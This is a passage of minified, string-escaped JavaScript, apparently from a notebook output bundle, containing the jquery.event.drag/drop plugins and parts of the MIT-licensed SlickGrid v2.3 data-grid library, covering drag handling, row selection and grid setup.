t,n=e.data;if(!(0!=e.which&&0<n.which&&e.which!=n.which)&&!f(e.target).is(n.not)&&(!n.handle||f(e.target).closest(n.handle,e.currentTarget).length)&&(g.touched=\\\"touchstart\\\"==e.type?this:null,n.propagates=1,n.mousedown=this,n.interactions=[g.interaction(this,n)],n.target=e.target,n.pageX=e.pageX,n.pageY=e.pageY,n.dragging=null,t=g.hijack(e,\\\"draginit\\\",n),n.propagates))return(t=g.flatten(t))&&t.length&&(n.interactions=[],f.each(t,function(){n.interactions.push(g.interaction(this,n))})),n.propagates=n.interactions.length,!1!==n.drop&&o.drop&&o.drop.handler(e,n),g.textselect(!1),g.touched?h.add(g.touched,\\\"touchmove touchend\\\",g.handler,n):h.add(document,\\\"mousemove mouseup\\\",g.handler,n),!(!g.touched||n.live)&&void 0}},interaction:function(e,t){var n=e&&e.ownerDocument&&f(e)[t.relative?\\\"position\\\":\\\"offset\\\"]()||{top:0,left:0};return{drag:e,callback:new g.callback,droppable:[],offset:n}},handler:function(e){var t=e.data;switch(e.type){case!t.dragging&&\\\"touchmove\\\":e.preventDefault();case!t.dragging&&\\\"mousemove\\\":if(Math.pow(e.pageX-t.pageX,2)+Math.pow(e.pageY-t.pageY,2)<Math.pow(t.distance,2))break;e.target=t.target,g.hijack(e,\\\"dragstart\\\",t),t.propagates&&(t.dragging=!0);case\\\"touchmove\\\":e.preventDefault();case\\\"mousemove\\\":if(t.dragging){if(g.hijack(e,\\\"drag\\\",t),t.propagates){!1!==t.drop&&o.drop&&o.drop.handler(e,t);break}e.type=\\\"mouseup\\\"}case\\\"touchend\\\":case\\\"mouseup\\\":default:g.touched?h.remove(g.touched,\\\"touchmove touchend\\\",g.handler):h.remove(document,\\\"mousemove mouseup\\\",g.handler),t.dragging&&(!1!==t.drop&&o.drop&&o.drop.handler(e,t),g.hijack(e,\\\"dragend\\\",t)),g.textselect(!0),!1===t.click&&t.dragging&&f.data(t.mousedown,\\\"suppress.click\\\",(new Date).getTime()+5),t.dragging=g.touched=!1}},hijack:function(n,o,r,e,t){if(r){var i,l,s,a={event:n.originalEvent,type:n.type},c=o.indexOf(\\\"drop\\\")?\\\"drag\\\":\\\"drop\\\",u=e||0,d=isNaN(e)?r.interactions.length:e;n.type=o;var p=function(){};n.originalEvent=new f.Event(a.event,{preventDefault:p,stopPropagation:p,stopImmediatePropagation:p}),r.results=[];do{if(l=r.interactions[u]){if(\\\"dragend\\\"!==o&&l.cancelled)continue;s=g.properties(n,r,l),l.results=[],f(t||l[c]||r.droppable).each(function(e,t){if(s.target=t,!(n.isPropagationStopped=function(){return!1})===(i=t?h.dispatch.call(t,n,s):null)?(\\\"drag\\\"==c&&(l.cancelled=!0,r.propagates-=1),\\\"drop\\\"==o&&(l[c][e]=null)):\\\"dropinit\\\"==o&&l.droppable.push(g.element(i)||t),\\\"dragstart\\\"==o&&(l.proxy=f(g.element(i)||l.drag)[0]),l.results.push(i),delete n.result,\\\"dropinit\\\"!==o)return i}),r.results[u]=g.flatten(l.results),\\\"dropinit\\\"==o&&(l.droppable=g.flatten(l.droppable)),\\\"dragstart\\\"!=o||l.cancelled||s.update()}}while(++u<d);return n.type=a.type,n.originalEvent=a.event,g.flatten(r.results)}},properties:function(e,t,n){var o=n.callback;return o.drag=n.drag,o.proxy=n.proxy||n.drag,o.startX=t.pageX,o.startY=t.pageY,o.deltaX=e.pageX-t.pageX,o.deltaY=e.pageY-t.pageY,o.originalX=n.offset.left,o.originalY=n.offset.top,o.offsetX=o.originalX+o.deltaX,o.offsetY=o.originalY+o.deltaY,o.drop=g.flatten((n.drop||[]).slice()),o.available=g.flatten((n.droppable||[]).slice()),o},element:function(e){if(e&&(e.jquery||1==e.nodeType))return e},flatten:function(e){return f.map(e,function(e){return e&&e.jquery?f.makeArray(e):e&&e.length?g.flatten(e):e})},textselect:function(e){f(document)[e?\\\"off\\\":\\\"on\\\"](\\\"selectstart\\\",g.dontstart).css(\\\"MozUserSelect\\\",e?\\\"\\\":\\\"none\\\"),document.unselectable=e?\\\"off\\\":\\\"on\\\"},dontstart:function(){return!1},callback:function(){}};g.callback.prototype={update:function(){o.drop&&this.available.length&&f.each(this.available,function(e){o.drop.locate(this,e)})}};var r=h.dispatch;h.dispatch=function(e){if(!(0<f.data(this,\\\"suppress.\\\"+e.type)-(new Date).getTime()))return r.apply(this,arguments);f.removeData(this,\\\"suppress.\\\"+e.type)},o.draginit=o.dragstart=o.dragend=g},443:function(e,t,n){\\n\",\n       \"      /*!\\n\",\n       \"           * jquery.event.drop - v 2.3.0\\n\",\n       \"           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n\",\n       \"           * Open Source MIT License - http://threedubmedia.com/code/license\\n\",\n       \"           */\\n\",\n       \"      var f=e(448);f.fn.drop=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drop\\\")&&(o=\\\"drop\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)},f.drop=function(e){e=e||{},g.multi=!0===e.multi?1/0:!1===e.multi?1:isNaN(e.multi)?g.multi:e.multi,g.delay=e.delay||g.delay,g.tolerance=f.isFunction(e.tolerance)?e.tolerance:null===e.tolerance?null:g.tolerance,g.mode=e.mode||g.mode||\\\"intersect\\\"};var o=f.event,h=o.special,g=f.event.special.drop={multi:1,delay:20,mode:\\\"overlap\\\",targets:[],datakey:\\\"dropdata\\\",noBubble:!0,add:function(e){var t=f.data(this,g.datakey);t.related+=1},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){f.data(this,g.datakey,{related:0,active:[],anyactive:0,winner:0,location:{}}),g.targets.push(this)}},teardown:function(){var e=f.data(this,g.datakey)||{};if(!e.related){f.removeData(this,g.datakey);var t=this;g.targets=f.grep(g.targets,function(e){return e!==t})}},handler:function(e,t){var n;if(t)switch(e.type){case\\\"mousedown\\\":case\\\"touchstart\\\":n=f(g.targets),\\\"string\\\"==typeof t.drop&&(n=n.filter(t.drop)),n.each(function(){var e=f.data(this,g.datakey);e.active=[],e.anyactive=0,e.winner=0}),t.droppable=n,h.drag.hijack(e,\\\"dropinit\\\",t);break;case\\\"mousemove\\\":case\\\"touchmove\\\":g.event=e,g.timer||g.tolerate(t);break;case\\\"mouseup\\\":case\\\"touchend\\\":g.timer=clearTimeout(g.timer),t.propagates&&(h.drag.hijack(e,\\\"drop\\\",t),h.drag.hijack(e,\\\"dropend\\\",t))}},locate:function(e,t){var n=f.data(e,g.datakey),o=f(e),r=o.offset()||{},i=o.outerHeight(),l=o.outerWidth(),s={elem:e,width:l,height:i,top:r.top,left:r.left,right:r.left+l,bottom:r.top+i};return n&&(n.location=s,n.index=t,n.elem=e),s},contains:function(e,t){return(t[0]||t.left)>=e.left&&(t[0]||t.right)<=e.right&&(t[1]||t.top)>=e.top&&(t[1]||t.bottom)<=e.bottom},modes:{intersect:function(e,t,n){return this.contains(n,[e.pageX,e.pageY])?1e9:this.modes.overlap.apply(this,arguments)},overlap:function(e,t,n){return Math.max(0,Math.min(n.bottom,t.bottom)-Math.max(n.top,t.top))*Math.max(0,Math.min(n.right,t.right)-Math.max(n.left,t.left))},fit:function(e,t,n){return this.contains(n,t)?1:0},middle:function(e,t,n){return this.contains(n,[t.left+.5*t.width,t.top+.5*t.height])?1:0}},sort:function(e,t){return t.winner-e.winner||e.index-t.index},tolerate:function(e){var t,n,o,r,i,l,s,a,c=0,u=e.interactions.length,d=[g.event.pageX,g.event.pageY],p=g.tolerance||g.modes[g.mode];do{if(a=e.interactions[c]){if(!a)return;a.drop=[],i=[],l=a.droppable.length,p&&(o=g.locate(a.proxy)),t=0;do{if(s=a.droppable[t]){if(r=f.data(s,g.datakey),!(n=r.location))continue;r.winner=p?p.call(g,g.event,o,n):g.contains(n,d)?1:0,i.push(r)}}while(++t<l);for(i.sort(g.sort),t=0;(r=i[t])&&(r.winner&&a.drop.length<g.multi?(r.active[c]||r.anyactive||(!1!==h.drag.hijack(g.event,\\\"dropstart\\\",e,c,r.elem)[0]?(r.active[c]=1,r.anyactive+=1):r.winner=0),r.winner&&a.drop.push(r.elem)):r.active[c]&&1==r.anyactive&&(h.drag.hijack(g.event,\\\"dropend\\\",e,c,r.elem),r.active[c]=0,r.anyactive-=1)),++t<l;);}}while(++c<u);g.last&&d[0]==g.last.pageX&&d[1]==g.last.pageY?delete g.timer:g.timer=setTimeout(function(){g.tolerate(e)},g.delay),g.last=g.event}};h.dropinit=h.dropstart=h.dropend=g},444:function(e,t,n){var d=e(448),p=e(446);t.exports={CheckboxSelectColumn:function(e){var l,t=new p.EventHandler,s={},a=d.extend(!0,{},{columnId:\\\"_checkbox_selector\\\",cssClass:null,toolTip:\\\"Select/Deselect All\\\",width:30},e);function n(e,t){var n,o,r=l.getSelectedRows(),i={};for(o=0;o<r.length;o++)n=r[o],i[n]=!0,i[n]!==s[n]&&(l.invalidateRow(n),delete s[n]);for(o in s)l.invalidateRow(o);s=i,l.render(),r.length&&r.length==l.getDataLength()?l.updateColumnHeader(a.columnId,\\\"<input type='checkbox' checked='checked'>\\\",a.toolTip):l.updateColumnHeader(a.columnId,\\\"<input type='checkbox'>\\\",a.toolTip)}function o(e,t){32==e.which&&l.getColumns()[t.cell].id===a.columnId&&(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit()||i(t.row),e.preventDefault(),e.stopImmediatePropagation())}function r(e,t){if(l.getColumns()[t.cell].id===a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();i(t.row),e.stopPropagation(),e.stopImmediatePropagation()}}function i(t){s[t]?l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return e!=t})):l.setSelectedRows(l.getSelectedRows().concat(t))}function c(e,t){if(t.column.id==a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();if(d(e.target).is(\\\":checked\\\")){for(var n=[],o=0;o<l.getDataLength();o++)n.push(o);l.setSelectedRows(n)}else l.setSelectedRows([]);e.stopPropagation(),e.stopImmediatePropagation()}}function u(e,t,n,o,r){return r?s[e]?\\\"<input type='checkbox' checked='checked'>\\\":\\\"<input type='checkbox'>\\\":null}d.extend(this,{init:function(e){l=e,t.subscribe(l.onSelectedRowsChanged,n).subscribe(l.onClick,r).subscribe(l.onHeaderClick,c).subscribe(l.onKeyDown,o)},destroy:function(){t.unsubscribeAll()},deSelectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]&&(o[o.length]=e[t]);l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return o.indexOf(e)<0}))},selectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]||(o[o.length]=e[t]);l.setSelectedRows(l.getSelectedRows().concat(o))},getColumnDefinition:function(){return{id:a.columnId,name:\\\"<input type='checkbox'>\\\",toolTip:a.toolTip,field:\\\"sel\\\",width:a.width,resizable:!1,sortable:!1,cssClass:a.cssClass,formatter:u}}})}}},445:function(e,t,n){var v=e(448),w=e(446);t.exports={RowSelectionModel:function(t){var c,n,o,u=[],r=this,i=new w.EventHandler,l={selectActiveRow:!0};function s(e){return function(){n||(n=!0,e.apply(this,arguments),n=!1)}}function d(e){for(var t=[],n=0;n<e.length;n++)for(var o=e[n].fromRow;o<=e[n].toRow;o++)t.push(o);return t}function p(e){for(var t=[],n=c.getColumns().length-1,o=0;o<e.length;o++)t.push(new w.Range(e[o],0,e[o],n));return t}function a(){return d(u)}function f(e){(u&&0!==u.length||e&&0!==e.length)&&(u=e,r.onSelectedRangesChanged.notify(u))}function h(e,t){o.selectActiveRow&&null!=t.row&&f([new w.Range(t.row,0,t.row,c.getColumns().length-1)])}function g(e){var t=c.getActiveCell();if(t&&e.shiftKey&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&(38==e.which||40==e.which)){var n=a();n.sort(function(e,t){return e-t}),n.length||(n=[t.row]);var o,r=n[0],i=n[n.length-1];if(0<=(o=40==e.which?t.row<i||r==i?++i:++r:t.row<i?--i:--r)&&o<c.getDataLength()){c.scrollRowIntoView(o);var l=p(function(e,t){var n,o=[];for(n=e;n<=t;n++)o.push(n);for(n=t;n<e;n++)o.push(n);return o}(r,i));f(l)}e.preventDefault(),e.stopPropagation()}}function m(e){var n=c.getCellFromEvent(e);if(!n||!c.canCellBeActive(n.row,n.cell))return!1;if(!c.getOptions().multiSelect||!e.ctrlKey&&!e.shiftKey&&!e.metaKey)return!1;var t=d(u),o=v.inArray(n.row,t);if(-1===o&&(e.ctrlKey||e.metaKey))t.push(n.row),c.setActiveCell(n.row,n.cell);else if(-1!==o&&(e.ctrlKey||e.metaKey))t=v.grep(t,function(e,t){return e!==n.row}),c.setActiveCell(n.row,n.cell);else if(t.length&&e.shiftKey){var r=t.pop(),i=Math.min(n.row,r),l=Math.max(n.row,r);t=[];for(var s=i;s<=l;s++)s!==r&&t.push(s);t.push(r),c.setActiveCell(n.row,n.cell)}var a=p(t);return f(a),e.stopImmediatePropagation(),!0}v.extend(this,{getSelectedRows:a,setSelectedRows:function(e){f(p(e))},getSelectedRanges:function(){return u},setSelectedRanges:f,init:function(e){o=v.extend(!0,{},l,t),c=e,i.subscribe(c.onActiveCellChanged,s(h)),i.subscribe(c.onKeyDown,s(g)),i.subscribe(c.onClick,s(m))},destroy:function(){i.unsubscribeAll()},onSelectedRangesChanged:new w.Event})}}},446:function(e,t,n){function l(){var e=!1,t=!1;this.stopPropagation=function(){e=!0},this.isPropagationStopped=function(){return e},this.stopImmediatePropagation=function(){t=!0},this.isImmediatePropagationStopped=function(){return t}}function o(){this.__nonDataRow=!0}function r(){this.__group=!0,this.level=0,this.count=0,this.value=null,this.title=null,this.collapsed=!1,this.selectChecked=!1,this.totals=null,this.rows=[],this.groups=null,this.groupingKey=null}function i(){this.__groupTotals=!0,this.group=null,this.initialized=!1}function s(){var t=null;this.isActive=function(e){return e?t===e:null!==t},this.activate=function(e){if(e!==t){if(null!==t)throw new Error(\\\"SlickGrid.EditorLock.activate: an editController is still active, can't activate another editController\\\");if(!e.commitCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .commitCurrentEdit()\\\");if(!e.cancelCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .cancelCurrentEdit()\\\");t=e}},this.deactivate=function(e){if(t!==e)throw new Error(\\\"SlickGrid.EditorLock.deactivate: specified editController is not the currently active one\\\");t=null},this.commitCurrentEdit=function(){return!t||t.commitCurrentEdit()},this.cancelCurrentEdit=function(){return!t||t.cancelCurrentEdit()}}(r.prototype=new o).equals=function(e){return this.value===e.value&&this.count===e.count&&this.collapsed===e.collapsed&&this.title===e.title},i.prototype=new o,t.exports={Event:function(){var i=[];this.subscribe=function(e){i.push(e)},this.unsubscribe=function(e){for(var t=i.length-1;0<=t;t--)i[t]===e&&i.splice(t,1)},this.notify=function(e,t,n){var o;t=t||new l,n=n||this;for(var r=0;r<i.length&&!t.isPropagationStopped()&&!t.isImmediatePropagationStopped();r++)o=i[r].call(n,t,e);return o}},EventData:l,EventHandler:function(){var o=[];this.subscribe=function(e,t){return o.push({event:e,handler:t}),e.subscribe(t),this},this.unsubscribe=function(e,t){for(var n=o.length;n--;)if(o[n].event===e&&o[n].handler===t)return o.splice(n,1),void e.unsubscribe(t);return this},this.unsubscribeAll=function(){for(var e=o.length;e--;)o[e].event.unsubscribe(o[e].handler);return o=[],this}},Range:function(e,t,n,o){void 0===n&&void 0===o&&(n=e,o=t);this.fromRow=Math.min(e,n),this.fromCell=Math.min(t,o),this.toRow=Math.max(e,n),this.toCell=Math.max(t,o),this.isSingleRow=function(){return this.fromRow==this.toRow},this.isSingleCell=function(){return this.fromRow==this.toRow&&this.fromCell==this.toCell},this.contains=function(e,t){return e>=this.fromRow&&e<=this.toRow&&t>=this.fromCell&&t<=this.toCell},this.toString=function(){return this.isSingleCell()?\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\")\\\":\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\" - \\\"+this.toRow+\\\":\\\"+this.toCell+\\\")\\\"}},NonDataRow:o,Group:r,GroupTotals:i,EditorLock:s,GlobalEditorLock:new s,keyCode:{BACKSPACE:8,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,ESC:27,HOME:36,INSERT:45,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,RIGHT:39,TAB:9,UP:38,C:67,V:86},preClickClassName:\\\"slick-edit-preclick\\\"}},447:function _(require,module,exports){\\n\",\n       \"      /**\\n\",\n       \"           * @license\\n\",\n       \"           * (c) 2009-2016 Michael Leibman\\n\",\n       \"           * michael{dot}leibman{at}gmail{dot}com\\n\",\n       \"           * http://github.com/mleibman/slickgrid\\n\",\n       \"           *\\n\",\n       \"           * Distributed under MIT license.\\n\",\n       \"           * All rights reserved.\\n\",\n       \"           *\\n\",\n       \"           * SlickGrid v2.3\\n\",\n       \"           *\\n\",\n       \"           * NOTES:\\n\",\n       \"           *     Cell/row DOM manipulations are done directly bypassing jQuery's DOM manipulation methods.\\n\",\n       \"           *     This increases the speed dramatically, but can only be done safely because there are no event handlers\\n\",\n       \"           *     or data associated with any cell/row DOM nodes.  Cell editors must make sure they implement .destroy()\\n\",\n       \"           *     and do proper cleanup.\\n\",\n       \"           */\\n\",\n       \"      var $=require(448),Slick=require(446),scrollbarDimensions,maxSupportedCssHeight;function SlickGrid(container,data,columns,options){$.fn.drag||require(442),$.fn.drop||require(443);var defaults={explicitInitialization:!1,rowHeight:25,defaultColumnWidth:80,enableAddRow:!1,leaveSpaceForNewRows:!1,editable:!1,autoEdit:!0,enableCellNavigation:!0,enableColumnReorder:!0,asyncEditorLoading:!1,asyncEditorLoadDelay:100,forceFitColumns:!1,enableAsyncPostRender:!1,asyncPostRenderDelay:50,enableAsyncPostRenderCleanup:!1,asyncPostRenderCleanupDelay:40,autoHeight:!1,editorLock:Slick.GlobalEditorLock,showHeaderRow:!1,headerRowHeight:25,createFooterRow:!1,showFooterRow:!1,footerRowHeight:25,createPreHeaderPanel:!1,showPreHeaderPanel:!1,preHeaderPanelHeight:25,showTopPanel:!1,topPanelHeight:25,formatterFactory:null,editorFactory:null,cellFlashingCssClass:\\\"flashing\\\",selectedCellCssClass:\\\"selected\\\",multiSelect:!0,enableTextSelectionOnCells:!1,dataItemColumnValueExtractor:null,fullWidthRows:!1,multiColumnSort:!1,numberedMultiColumnSort:!1,tristateMultiColumnSort:!1,defaultFormatter:defaultFormatter,forceSyncScrolling:!1,addNewRowCssClass:\\\"new-row\\\",preserveCopiedSelectionOnPaste:!1,showCellSelection:!0},columnDefaults={name:\\\"\\\",resizable:!0,sortable:!1,minWidth:30,rerenderOnResize:!1,headerCssClass:null,defaultSortAsc:!0,focusable:!0,selectable:!0},th,h,ph,n,cj,page=0,offset=0,vScrollDir=1,initialized=!1,$container,uid=\\\"slickgrid_\\\"+Math.round(1e6*Math.random()),self=this,$focusSink,$focusSink2,$headerScroller,$headers,$headerRow,$headerRowScroller,$headerRowSpacer,$footerRow,$footerRowScroller,$footerRowSpacer,$preHeaderPanel,$preHeaderPanelScroller,$preHeaderPanelSpacer,$topPanelScroller,$topPanel,$viewport,$canvas,$style,$boundAncestors,stylesheet,columnCssRulesL,columnCssRulesR,viewportH,viewportW,canvasWidth,viewportHasHScroll,viewportHasVScroll,headerColumnWidthDiff=0,headerColumnHeightDiff=0,cellWidthDiff=0,cellHeightDiff=0,jQueryNewWidthBehaviour=!1,absoluteColumnMinWidth,sortIndicatorCssClass=\\\"slick-sort-indicator\\\",tabbingDirection=1,activePosX,activeRow,activeCell,activeCellNode=null,currentEditor=null,serializedEditorValue,editController,rowsCache={},renderedRows=0,numVisibleRows,prevScrollTop=0,scrollTop=0,lastRenderedScrollTop=0,lastRenderedScrollLeft=0,prevScrollLeft=0,scrollLeft=0,selectionModel,selectedRows=[],plugins=[],cellCssClasses={},columnsById={},sortColumns=[],columnPosLeft=[],columnPosRight=[],pagingActive=!1,pagingIsLastPage=!1,h_editorLoader=null,h_render=null,h_postrender=null,h_postrenderCleanup=null,postProcessedRows={},postProcessToRow=null,postProcessFromRow=null,postProcessedCleanupQueue=[],postProcessgroupId=0,counter_rows_rendered=0,counter_rows_removed=0,rowNodeFromLastMouseWheelEvent,zombieRowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent,cssShow={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},$hiddenParents,oldProps=[];function init(){if(($container=container instanceof $?container:$(container)).length<1)throw new Error(\\\"SlickGrid requires a valid container, \\\"+container+\\\" does not exist in the DOM.\\\");cacheCssForHiddenInit(),maxSupportedCssHeight=maxSupportedCssHeight||getMaxSupportedCssHeight(),scrollbarDimensions=scrollbarDimensions||measureScrollbar(),options=$.extend({},defaults,options),validateAndEnforceOptions(),columnDefaults.width=options.defaultColumnWidth,columnsById={};for(var e=0;e<columns.length;e++){var t=columns[e]=$.extend({},columnDefaults,columns[e]);columnsById[t.id]=e,t.minWidth&&t.width<t.minWidth&&(t.width=t.minWidth),t.maxWidth&&t.width>t.maxWidth&&(t.width=t.maxWidth)}if(options.enableColumnReorder&&!$.fn.sortable)throw new Error(\\\"SlickGrid's 'enableColumnReorder = true' option requires jquery-ui.sortable module to be loaded\\\");editController={commitCurrentEdit:commitCurrentEdit,cancelCurrentEdit:cancelCurrentEdit},$container.empty().css(\\\"overflow\\\",\\\"hidden\\\").css(\\\"outline\\\",0).addClass(uid).addClass(\\\"ui-widget\\\"),/relative|absolute|fixed/.test($container.css(\\\"position\\\"))||$container.css(\\\"position\\\",\\\"relative\\\"),$focusSink=$(\\\"<div tabIndex='0' hideFocus style='position:fixed;width:0;height:0;top:0;left:0;outline:0;'></div>\\\").appendTo($container),options.createPreHeaderPanel&&($preHeaderPanelScroller=$(\\\"<div class='slick-preheader-panel ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$preHeaderPanel=$(\\\"<div />\\\").appendTo($preHeaderPanelScroller),$preHeaderPanelSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($preHeaderPanelScroller),options.showPreHeaderPanel||$preHeaderPanelScroller.hide()),$headerScroller=$(\\\"<div class='slick-header ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),($headers=$(\\\"<div class='slick-header-columns' style='left:-1000px' />\\\").appendTo($headerScroller)).width(getHeadersWidth()),$headerRowScroller=$(\\\"<div class='slick-headerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$headerRow=$(\\\"<div class='slick-headerrow-columns' />\\\").appendTo($headerRowScroller),$headerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($headerRowScroller),$topPanelScroller=$(\\\"<div class='slick-top-panel-scroller ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$topPanel=$(\\\"<div class='slick-top-panel' style='width:10000px' />\\\").appendTo($topPanelScroller),options.showTopPanel||$topPanelScroller.hide(),options.showHeaderRow||$headerRowScroller.hide(),($viewport=$(\\\"<div class='slick-viewport' style='width:100%;overflow:auto;outline:0;position:relative;;'>\\\").appendTo($container)).css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),$canvas=$(\\\"<div class='grid-canvas' />\\\").appendTo($viewport),options.createFooterRow&&($footerRowScroller=$(\\\"<div class='slick-footerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$footerRow=$(\\\"<div class='slick-footerrow-columns' />\\\").appendTo($footerRowScroller),$footerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($footerRowScroller),options.showFooterRow||$footerRowScroller.hide()),options.numberedMultiColumnSort&&(sortIndicatorCssClass=\\\"slick-sort-indicator-numbered\\\"),$focusSink2=$focusSink.clone().appendTo($container),options.explicitInitialization||finishInitialization()}function finishInitialization(){initialized||(initialized=!0,viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),measureCellPaddingAndBorder(),disableSelection($headers),options.enableTextSelectionOnCells||$viewport.on(\\\"selectstart.ui\\\",function(e){return $(e.target).is(\\\"input,textarea\\\")}),updateColumnCaches(),createColumnHeaders(),setupColumnSort(),createCssRules(),resizeCanvas(),bindAncestorScrollEvents(),$container.on(\\\"resize.slickgrid\\\",resizeCanvas),$viewport.on(\\\"scroll\\\",handleScroll),$headerScroller.on(\\\"contextmenu\\\",handleHeaderContextMenu).on(\\\"click\\\",handleHeaderClick).on(\\\"mouseenter\\\",\\\".slick-header-column\\\",handleHeaderMouseEnter).on(\\\"mouseleave\\\",\\\".slick-header-column\\\",handleHeaderMouseLeave),$headerRowScroller.on(\\\"scroll\\\",handleHeaderRowScroll),options.createFooterRow&&$footerRowScroller.on(\\\"scroll\\\",handleFooterRowScroll),options.createPreHeaderPanel&&$preHeaderPanelScroller.on(\\\"scroll\\\",handlePreHeaderPanelScroll),$focusSink.add($focusSink2).on(\\\"keydown\\\",handleKeyDown),$canvas.on(\\\"keydown\\\",handleKeyDown).on(\\\"click\\\",handleClick).on(\\\"dblclick\\\",handleDblClick).on(\\\"contextmenu\\\",handleContextMenu).on(\\\"draginit\\\",handleDragInit).on(\\\"dragstart\\\",{distance:3},handleDragStart).on(\\\"drag\\\",handleDrag).on(\\\"dragend\\\",handleDragEnd).on(\\\"mouseenter\\\",\\\".slick-cell\\\",handleMouseEnter).on(\\\"mouseleave\\\",\\\".slick-cell\\\",handleMouseLeave),navigator.userAgent.toLowerCase().match(/webkit/)&&navigator.userAgent.toLowerCase().match(/macintosh/)&&$canvas.on(\\\"mousewheel\\\",handleMouseWheel),restoreCssFromHiddenInit())}function cacheCssForHiddenInit(){($hiddenParents=$container.parents().addBack().not(\\\":visible\\\")).each(function(){var e={};for(var t in cssShow)e[t]=this.style[t],this.style[t]=cssShow[t];oldProps.push(e)})}function restoreCssFromHiddenInit(){$hiddenParents.each(function(e){var t=oldProps[e];for(var n in cssShow)this.style[n]=t[n]})}function registerPlugin(e){plugins.unshift(e),e.init(self)}function unregisterPlugin(e){for(var t=plugins.length;0<=t;t--)if(plugins[t]===e){plugins[t].destroy&&plugins[t].destroy(),plugins.splice(t,1);break}}function setSelectionModel(e){selectionModel&&(selectionModel.onSelectedRangesChanged.unsubscribe(handleSelectedRangesChanged),selectionModel.destroy&&selectionModel.destroy()),(selectionModel=e)&&(selectionModel.init(self),selectionModel.onSelectedRangesChanged.subscribe(handleSelectedRangesChanged))}function getSelectionModel(){return selectionModel}function getCanvasNode(){return $canvas[0]}function measureScrollbar(){var e=$(\\\"<div style='position:absolute; top:-10000px; left:-10000px; width:100px; height:100px; overflow:scroll;'></div>\\\").appendTo(\\\"body\\\"),t={width:e.width()-e[0].clientWidth,height:e.height()-e[0].clientHeight};return e.remove(),t}function getColumnTotalWidth(e){for(var t=0,n=0,o=columns.length;n<o;n++){var r=columns[n].width;t+=r}return e&&(t+=scrollbarDimensions.width),t}function getHeadersWidth(){var e=getColumnTotalWidth(!0);return Math.max(e,viewportW)+1e3}function getCanvasWidth(){for(var e=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW,t=0,n=columns.length;n--;)t+=columns[n].width;return options.fullWidthRows?Math.max(t,e):t}function updateCanvasWidth(e){var t=canvasWidth;(canvasWidth=getCanvasWidth())!=t&&($canvas.width(canvasWidth),$headerRow.width(canvasWidth),options.createFooterRow&&$footerRow.width(canvasWidth),options.createPreHeaderPanel&&$preHeaderPanel.width(canvasWidth),$headers.width(getHeadersWidth()),viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width);var n=canvasWidth+(viewportHasVScroll?scrollbarDimensions.width:0);$headerRowSpacer.width(n),options.createFooterRow&&$footerRowSpacer.width(n),options.createPreHeaderPanel&&$preHeaderPanelSpacer.width(n),(canvasWidth!=t||e)&&applyColumnWidths()}function disableSelection(e){e&&e.jquery&&e.attr(\\\"unselectable\\\",\\\"on\\\").css(\\\"MozUserSelect\\\",\\\"none\\\").on(\\\"selectstart.ui\\\",function(){return!1})}function getMaxSupportedCssHeight(){for(var e=1e6,t=navigator.userAgent.toLowerCase().match(/firefox/)?6e6:1e9,n=$(\\\"<div style='display:none' />\\\").appendTo(document.body);;){var o=2*e;if(n.css(\\\"height\\\",o),t<o||n.height()!==o)break;e=o}return n.remove(),e}function getUID(){return uid}function getHeaderColumnWidthDiff(){return headerColumnWidthDiff}function getScrollbarDimensions(){return scrollbarDimensions}function bindAncestorScrollEvents(){for(var e=$canvas[0];(e=e.parentNode)!=document.body&&null!=e;)if(e==$viewport[0]||e.scrollWidth!=e.clientWidth||e.scrollHeight!=e.clientHeight){var t=$(e);$boundAncestors=$boundAncestors?$boundAncestors.add(t):t,t.on(\\\"scroll.\\\"+uid,handleActiveCellPositionChange)}}function unbindAncestorScrollEvents(){$boundAncestors&&($boundAncestors.off(\\\"scroll.\\\"+uid),$boundAncestors=null)}function updateColumnHeader(e,t,n){if(initialized){var o=getColumnIndex(e);if(null!=o){var 